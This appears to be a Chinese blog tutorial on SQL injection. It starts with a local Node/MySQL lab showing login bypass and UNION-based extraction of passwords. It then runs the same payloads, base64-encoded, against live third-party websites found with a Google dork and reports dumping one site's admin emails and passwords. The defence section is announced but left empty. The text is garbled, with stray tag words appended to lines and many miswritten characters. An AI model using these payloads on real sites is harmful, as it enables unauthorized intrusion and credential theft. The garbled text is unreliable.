本文所用代码的代码库地址:javascript
定义php
SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最多见的一种安全漏洞。能够用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操做,甚至有可能获取数据库乃至系统用户最高权限。html
原理java
形成SQL注入的缘由是由于程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入做为查询语句的一部分执行,致使原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。
从本质上来讲,SQL注入和XSS注入很类似,都是由于没有作好对用户的输入控制而致使的错误。node
sudo apt-get update sudo apt-get install postgresql pgadmin3 sudo pg_createcluster -p 5432 -u postgres 9.3 virusTest --start sudo netstat -aWn --programs | grep postgres
sudo apt-get update sudo apt-get install mysql-server
sudo su su postgres psql create database virustest
wget -t https://nodejs.org/dist/v6.9.1/node-v6.9.1-linux-x64.tar.xz tar -xf node-v6.9.1-linux-x64.tar.xz cd node-v6.9.1-linux-x64.tar.xz/bin ln -s ***** /usr/local/bin/node ln -s ***** /usr/local/bin/npm
models/index.js
、models/migrate.js
、models/User.js
建立以下图所示的User表:account | password |
---|---|
test0 | 1234560 |
test1 | 1234561 |
test2 | 1234562 |
node models/migrate
初始化数据库first/index.js
定义简单的服务器views/index.html
定义简单的登陆页面npm install
数据库初始化完成后,咱们来开心的模拟一次经典的登陆注入操做 :使用' or 1=1#
绕过用户名和密码验证直接登陆。mysql
启动服务器 node first/index.js
,访问http://localhost:5000/
看到以下网页
linux
输入 account : test0
, password : 1234560
,能够发现登陆成功git
输入 account : test0
, password : wrongPassword
,能够发现登陆失败github
输入 account : ' or 1=1#
, password : test
,能够发现登陆成功!!!sql
咱们来看看后台代码中对用户输入的用户名和密码进行验证的的SQL语句:
`select * from Users where account ='${account}' and password='${password}'`
咱们将account:' or 1=1#
,password:test
的值带入,这条语句变成了:
select * from users where account = '' or 1=1 #' and password='test'
能够看到:
account='' or 1 = 1
永远成立。#
后面的语句所有变成了注释(mysql能够用#号来注释代码),不会影响代码正确运行,服务器不会返回500。这个注入可以成功的缘由就在于——灵活使用'
字符和#
字符。
node models/migrate
初始化数据库router.get("/article",function *(){ var ctx = this; var query = ctx.request.query; var articleId = query.id || 1; debug("SQL",`select * from Articles where id = ${articleId}`); var data = yield db.query(`select * from Articles where id = ${articleId}`,{ type: db.QueryTypes.SELECT }); data = data.length !== 0 ? data[data.length - 1] : { title : "没有这个文章", content :"<p>没有这个文章</p>" }; // debug(data); yield ctx.render("index.html", data); })
此路由函数会先接收GET参数传来的id,使用SQL对id进行查询,将查询到的数据渲染到html返回给浏览器端。
node first/index.js
,访问http://localhost:3030/article?id=1
,能够看到以下图所示的界面:http://localhost:3030/article?id=3/*ABC*/
,能够发现返回的页面没有变化,这说明后台对输入没有过滤,这里是能够注入的。http://localhost:3030/article?id=3 and 1=2
,能够发现页面显示没有文章,由于1=2的判断致使SQL的Where子句永远为false,因此没有文章返回。http://localhost:3030/article?id=3 and 1=1 union select 1 http://localhost:3030/article?id=3 and 1=1 union select 1,2 http://localhost:3030/article?id=3 and 1=1 union select 1,2,3 http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4 http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5
前四步都显示:
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5
成功,这是由于Articles表的列数就是5,访问这样的网址,后台实际执行的SQL语句及其结果以下图所示:
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5
,咱们发现页面展现的仍是id=3的文章,查看路由处理的代码:http://localhost:3030/article?id=3 and 1=1 union select 10000,2,3,4,5 order by id DESC
访问上述网址,后台执行的SQL语句及其结果以下图所示
因此页面的返回结果是:
咱们能够看到咱们传给后端的2,3分别在这里被展现在了页面上。
http://localhost:3030/article?id=3 and 1=1 union select 10000,version(),database(),4,5 order by id DESC
咱们就能够看到数据库的版本和数据表的名称:
http://localhost:3030/article?id=3 and 1=1 union select 10000,2,TABLE_NAME,4,5 FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=virustest order by rand() DESC
其中的order by rand()
能够帮助咱们随机地看到数据库中有哪些表,咱们多访问几回,就能够看到有一个Users表:
http://localhost:3030/article?id=3 and 1=1 union SELECT 10000,COLUMN_NAME,3,4,5 FROM information_schema.columns where TABLE_SCHEMA='virustest' and TABLE_NAME='Users' order by rand()
因为有order by rand()
,多访问几回,咱们就能够陆续看到全部的列名,有两个字段咱们比较感兴趣:
http://localhost:3030/article?id=3 and 1=1 union select 1,account,password,4,5 from Users order by rand() DESC
访问结果以下图所示:
使用Google搜索inurl:.php?id=MTM=
,这里inurl指的是在url内有后面字符串的网站,后面的id=MTM=是指base64加密后的id=13,代表网站对URL进行了base64处理。Google查询出来结果以下:
我本身通过删选测试,选取了两个网站:
本次就对这两个网站进行破解,先回顾一下咱们上次本身研究的几个破解步骤:
咱们借助http://www1.tc711.com/tool/BASE64.htm这个base64工具进行base64加解密
id=13 and 1=2
,返回的结果以下图,代表是此网站能够注入的id=13 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
,结果以下图所示,能够看到有页面有九个显示位,显示位不少,就不须要concat()函数将多条数据拼接到一块儿了id=13 and 1=1 union select 1,database(),3,4,5,6,7,8,9,10,version(),12,13,14,15
,咱们能够看到以下图的结果,代表数据库的名称是csearch,版本是4.0.25id=13 and 1=1 union select 1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15 from information_shcema
,结果居然是没有权限!!!测试可否被注入,访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9Mg==,base64串的含义是id=13 and 1=2
,结果以下,能够发现页面没有显示,证实是能够注入的
经过union测表的列数,从1到30挨个测试,最后得知列数是7,访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNw==,结果以下图所示,能够看到有三个显示位
经过mysql函数获得数据库的名称,访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLHZlcnNpb24oKSw0LDUsNiw3,base64串的含义是id=14 and 1=2 union select 1,database(),version(),4,5,6,7
,访问结果以下图,获得数据库的名称是zaaffran_zaaffran,数据库版本是5.5.2
经过INFORMATION_SCHEMA查询表的名称和表内行的名称,访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLHRhYmxlX25hbWUsNCw1LDYsNyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXM=,base64串的含义是id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables
,能够看到五个数据表:
因为这里只显示了五张表,并且都是系统自带的表,对我来讲没有什么用处,因而尝试了使用order by table_type,访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLHRhYmxlX25hbWUsNCw1LDYsNyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgb3JkZXIgYnkgdGFibGVfdHlwZQ==,base64串的含义是id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables order by table_type
limit 5
这个子句,因为SQL语法不容许order by
子句在limit
子句前面,因此网站发生了错误。访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLHRhYmxlX25hbWUsNCw1LDYsNyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgb3JkZXIgYnkgMSM=,base64串含义是id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables order by 1#
,此次显示结果以下,成功了!
同时咱们搜索到了adminusers表这个敏感的表,我决定对这个表进行查询,访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLGNvbHVtbl9uYW1lLDQsNSw2LDcgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSdhZG1pbnVzZXJzJyBvcmRlciBieSAxIw==,base64含义是14 and 1=2 union select 1,2,column_name,4,5,6,7 from information_schema.columns where table_name='adminusers' order by 1#
,能够看到以下图全部的表段
获取想要的数据,访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLFVzZXJFbWFpbCxVc2VyUGFzc3dvcmQsNSw2LDcgZnJvbSBhZG1pbnVzZXJzIw==,base64串含义是14 and 1=2 union select 1,2,UserEmail,UserPassword,5,6,7 from adminusers#
,能够看到adminusers表里面的全部数据
咱们进行了两次对互联网网站的SQL注入,第一次不是很成功,第三次好歹是拿到数据了,尝试了一下扩大战果,select user,password from mysql.user
,失败= - =,估计是没有权限。select hex(load_file())的方法也是失败,毕竟mysql版本是5.5,安全级别较高,想要load_file()仍是很难的。
经过以上的实践,咱们能够总结出一些防范SQL注入的方法:
在Restful API的时代,开发者在开发一个项目的时常常用到相似于id=?或者title=?这样的GET参数查询,后端通讯可能会有不少这样的漏洞,而这样的漏洞形成的后果每每是灾难性的。开发者尤为是后端开发者必定要注意哦!